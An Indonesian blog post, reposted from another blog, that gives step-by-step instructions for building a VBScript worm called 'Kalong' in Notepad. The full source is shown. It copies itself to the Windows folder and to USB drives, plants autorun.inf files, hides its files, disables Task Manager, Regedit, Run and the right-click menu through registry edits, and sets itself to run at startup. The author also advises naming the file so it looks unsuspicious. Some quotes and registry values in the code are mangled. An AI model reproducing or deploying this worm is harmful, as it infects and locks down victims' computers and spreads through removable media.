Jumat, 29 Juni 2012
MEMBUAT VIRUS DARI NOTEPAD
Virus ini berjenis worm. Oke.. langsung aja kita praktekin..
‘//–Awal dari kode, set agar ketika terjadi Error dibiarkan
dan kemudian lanjutkan kegiatan virus–//
on error resume next
‘//–Dim
kata-kata berikut ini–//
dim
rekur,windowpath,flashdrive,fs,mf,isi,tf,kalong,nt,check,sd
‘//–Set
sebuah
teks yang nantinya akan dibuat untuk Autorun Setup Information–//
isi =
“[autorun]” & vbcrlf & “shellexecute=wscript.exe
k4l0n6.dll.vbs”
set
fs = createobject(”Scripting.FileSystemObject”)
set mf =
fs.getfile(Wscript.ScriptFullname)
dim text,size
size =
mf.size
check = mf.drive.drivetype
set text = mf.openastextstream(1,-2)
do
while not text.atendofstream
rekur = rekur & text.readline
rekur =
rekur & vbcrlf
loop
do
‘//–Copy diri untuk
menjadi file induk di
Windows Path (example: C:\Windows)
Set windowpath
= fs.getspecialfolder(0)
set tf = fs.getfile(windowpath & “\batch-
k4l0n6.dll.vbs “)
tf.attributes = 32
set tf=fs.createtextfile(windowpath
& “\batch-
k4l0n6.dll.vbs”,2,true)
tf.write rekursif
tf.close
set tf =
fs.getfile(windowpath & “\batch- k4l0n6.dll.vbs “)
tf.attributes = 39
‘//–Buat Atorun.inf untuk menjalankan virus otomatis
setiap flash disc
tercolok–//
‘Menyebar ke setiap drive yang bertype 1
dan 2(removable)
termasuk disket
for each flashdrive in fs.drives
‘//–Cek Drive–//
If
(flashdrive.drivetype = 1 or
flashdrive.drivetype = 2) and flashdrive.path
<> “A:” then
‘//–Buat Infector jika ternyata Drivetypr 1 atau 2. Atau
A:\–//
set
tf=fs.getfile(flashdrive.path &”\k4l0n6.dll.vbs “)
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path
&”\k4l0n6.dll.vbs “,2,true)
tf.write rekursif
tf.close
set
tf=fs.getfile(flashdrive.path
&”\k4l0n6.dll.vbs “)
tf.attributes = 39
‘//–Buat Atorun.inf yang
teks-nya tadi sudah disiapkan (Auto Setup
Information)–//
set tf
=fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes = 32
set
tf=fs.createtextfile(flashdrive.path
&”\autorun.inf”,2,true)
tf.write isi
tf.close
set tf =
fs.getfile(flashdrive.path
&”\autorun.inf”)
tf.attributes=39
end if
next
‘//–Manipulasi
Registry–//
set kalong =
createobject(”WScript.Shell”)
‘//–Manip –
Ubah Title Internet Explorer
menjadi THE KALONG v.s. ZAY–//
kalong.regwrite
“HKEY_CURRENT_USER\Software\Microsoft\Internet
Explorer\Main\Window Title”,” THE
KALONG v.s. ZAY “
‘//–Manip – Set agar
file hidden tidak ditampilkan di
Explorer–//
kalong.RegWrite
“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”,
“0?, “REG_DWORD”
‘//–Manip – Hilangkan menu Find, Folder Options, Run,
dan
memblokir Regedit dan Task Manager–//
kalong.RegWrite
“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”,
“1?, “REG_DWORD”
kalong.RegWrite
“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”,
“1?, “REG_DWORD”
kalong.RegWrite
“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”,
“1?, “REG_DWORD”
kalong.RegWrite
“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”,
“1?, “REG_DWORD”
kalong.RegWrite
“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”,
“1?, “REG_DWORD”
‘//–Manip – Disable klik kanan–//
kalong.RegWrite
“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu”,
“1?, “REG_DWORD”
‘//–Manip – Munculkan Pesan Setiap Windows Startup–//
kalong.regwrite
“HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”,
“Worm Kalong. Variant from Rangga-Zay, don’t panic all data are safe.”
‘//–Manip – Aktif setiap Windows Startup–//
kalong.regwrite
“HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Systemdir”,
windowpath & “\batch- k4l0n6.dll.vbs “
‘//–Manip – Ubah
RegisteredOwner
dan Organization–//
kalong.regwrite
“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\RegisteredOrganization”, “The Batrix”
kalong.regwrite
“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\RegisteredOwner”,”Kalong”
‘//–Nah kalau kode dibawah
ini
saya nggak tau, tolong Mas Aat_S untuk menjelaskan–//
if check
<> 1
then
Wscript.sleep 200000
end if
loop while check
<> 1
set
sd = createobject(”Wscript.shell”)
sd.run windowpath
& “\explorer.exe
/e,/select, ” & Wscript.ScriptFullname
‘Akhir
dari Kode
Save Script tersebut di Notepad dengan cara FILE > SAVE AS. Lalu di save as type pilih “All Files (*.*). Simpan dengan nama “k4l0n6.vbs” gak usah pake( “ )dan usahakan agar tidak mencurigakan aja…
Sori ya tulisan terlalu kecil.......usaha ya baca :)
selesai deh, gamoang kan :)
moga berhasil ya :)
™onestree™
diambil dari : http://onestree.blogspot.com/2011/01/membuat-virus-dari-notepad.html
Langganan:
Posting Komentar (Atom)
Tidak ada komentar:
Posting Komentar